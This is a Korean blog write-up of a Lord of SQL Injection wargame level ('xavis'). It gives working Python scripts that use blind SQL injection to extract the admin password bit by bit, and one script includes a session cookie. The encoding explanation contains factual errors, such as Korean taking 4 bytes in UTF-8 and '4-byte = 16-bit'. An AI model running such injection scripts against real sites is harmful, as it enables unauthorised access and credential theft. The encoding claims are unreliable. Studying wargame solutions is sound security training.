형식은 기존의 Blind SQL Injection 과 비슷하다.
pw 의 길이까지는 기존의 방식과 동일하게, 쉽게 구할 수 있다.
하지만 pw의 형식이 문제다. 기존에는 알파벳과 숫자의 조합들이었다.
알파벳과 숫자는 흔히 알고 있듯이 아스키코드로 변환한 값의 크기가 1-byte 이다.
즉, 8-bit 라는 소리이다. 혹시나 해서 pw 각 글자마다의 bit 수를 측정해보았다.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Check Length of PW
pw_length = 0
for i in range(0, 100):
payload = "?pw=ABCD' or id='admin' and length(pw)=" + str(i) + "%23"
res = session.get(url = org_url + payload, headers=header, verify=False)
if "Hello admin" in res.text:
pw_length = i
print("Length of PW is [ %d ]\n" % i)
break
# Check Bit_Length of PW
pw_bit_length = 0
for i in range(1, pw_length + 1):
for j in range(0, 100):
payload = "?pw=ABCD' or id='admin' and length(bin(ord(substr(pw," + str(i) + ",1))))=" + str(j) + "%23"
res = session.get(url = org_url + payload, headers=header, verify=False)
if ("Hello admin" in res.text) and (j != 1):
pw_bit_length = j
print("[%d-th] Bit_Length of PW is [ %d ]" % (i, j))
break
출력값은 위와 같다.
PW의 길이는 12였지만 실질적으로 유효한 길이는 3이었다.
나머지는 NULL 값으로 추정된다.
역시나 일반적인 알파벳과 숫자가 아니었다.
여기서 잠깐 아스키 코드, 유니코드, UTF-8 에 대하여 알아보자.
아스키 코드, 즉 ASCII는 American Standard Code for Information Interchange 로, 알파벳밖에 존재하지 않는다.
이에 전 세계의 언어를 정의하기 위하여 아스키 코드 길이의 2배에 해당하는 유니코드를 만들었다.
유니코드는 2바이트로 이루어진 덕분에 총 2^16 = 65536 개의 문자를 포용할 수 있었다.
하지만 이 큰 숫자도 전 세계 언어의 문자를 다 표현하지는 못하였다.
또한 어떤 문자는 1바이트만 읽어야 하며 어떤 문자는 2바이트를 읽어야 하는지 컴퓨터에게 일일이 알려주어야 한다.
이렇게 해서 등장한 것이 UTF 방식이다. UTF 방식 중에서도 가장 많이 쓰이는 것이 UTF-8 방식이다.
이는 비트 수를 가변적으로 사용하는 방법으로, 아스키코드를 사용할 수 있다면 단순히 1바이트를 사용한다.
1바이트가 부족하다면 2바이트로, 2바이트가 부족하다면 3바이트로 단위를 늘려가는 가변적인 방식을 채택한다.
이렇게 가변적으로 인코딩하지 않는다면 컴퓨터 메모리를 과도하게 사용할 수 있으며, 동시에 용량도 크게 잡아 먹는다.
위와 같이 유니코드는 2바이트를 사용한다. 한글인 것 같다.
한글은 유니코드에서 0xAC00 ~ 0xD7AF 범위를 사용한다.
숫자가 좀 크다. 11,183 개의 경우의 수를 모두 다 대입해 봐야 한다.
뭐 내가 계산하는 것이 아니라 컴퓨터가 연산하는 것이고, 비밀번호의 길이가 10이라고 쳤을 때 10만개의 반복은 그리 무겁지는 않은 작업이라고 생각한다.
하지만, 우리는 취약점 공격을 하고 있다. 최대한 빠른 시간 안에, 정확한 방법으로 공격해야 한다.
그렇다면 비트마다 비교하면 어떨까?
비밀번호가 10글자라는 가정하에서, 유니코드 문자일 때, 10 * 16 = 160 번의 비교연산만을 필요로 하게 된다.
혁신적이다. 앞으로의 Blind Injection 문제는 비트값 비교로 해야겠다.
물론 코드 작업에서 몇번의 형변환이 필요하겠지만, 뭐 이게 더 좋다.
거의 모든 함수가 그렇듯이, 데이터를 가져올 때는 NULL 값까지 가져온다는 것을 알고 있어야 한다.
또한 유니코드에서 한글은 2-byte를 차지하지만, 위에서 보았듯이 UTF-8 인코딩 방식에서는 4-byte 를 차지한다.
따라서 Length of PW = 12 = 3 * 4 이라는 값이 나온 것이고,
4-byte = 16-bit 이기 때문에 각각 글자의 Bit_Length of PW = 16 이라는 값이 나온 것이다.
바로 나머지 코드를 작성하자. 이번 Brute Force 의 포인트는 아스키 코드 혹은 유니코드 값을 직접 대입하는 것이 아닌 이진수로 변환하여 0과 1 만을 구별하는 것이다.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
header = {'Cookie': 'PHPSESSID=uh5274eivdhnslg03c5utv43su'}
session = requests.session()
# Check Length of PW
pw_length = 0
for i in range(0, 100):
payload = "?pw=ABCD' or id='admin' and length(pw)=" + str(i) + "%23"
res = session.get(url = org_url + payload, headers=header, verify=False)
if "Hello admin" in res.text:
pw_length = i
print("Length of PW is [ %d ]\n" % i)
break
# Check Bit_Length of PW
pw_bit_length = 0
for i in range(1, pw_length + 1):
for j in range(0, 100):
payload = "?pw=ABCD' or id='admin' and length(bin(ord(substr(pw," + str(i) + ",1))))=" + str(j) + "%23"
res = session.get(url = org_url + payload, headers=header, verify=False)
if ("Hello admin" in res.text) and (j != 1):
pw_bit_length = j
print("[%d-th] Bit_Length of PW is [ %d ]" % (i, j))
break
# Brute Force
password_bit = ''
password = ''
for i in range(1, pw_length):
for j in range(1, pw_bit_length + 1):
payload = "?pw=' or id='admin' and substr(bin(ord(substr(pw," + str(i) + ",1)))," + str(j) + ",1)=1%23"
res = session.get(url = org_url + payload, headers = header, verify=False)
if "Hello admin" in res.text:
password_bit += "1"
else:
password_bit += "0"
password += chr(int(password_bit, 2))
password_bit = ''
# Result
print("\n\nPW --> %s\n" % password)
0과 1만을 비교하여 빠르게 PW의 옷을 벗기는 뭔가 야한 문제였다.
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - iron golem (0) | 2021.08.24 |
---|---|
Lord of SQL Injection - dragon (0) | 2021.08.22 |
Lord of SQL Injection - nightmare (0) | 2021.08.22 |
Lord of SQL Injection - zombie_assassin (2) | 2021.08.21 |
Lord of SQL Injection - succubus (1) | 2021.08.18 |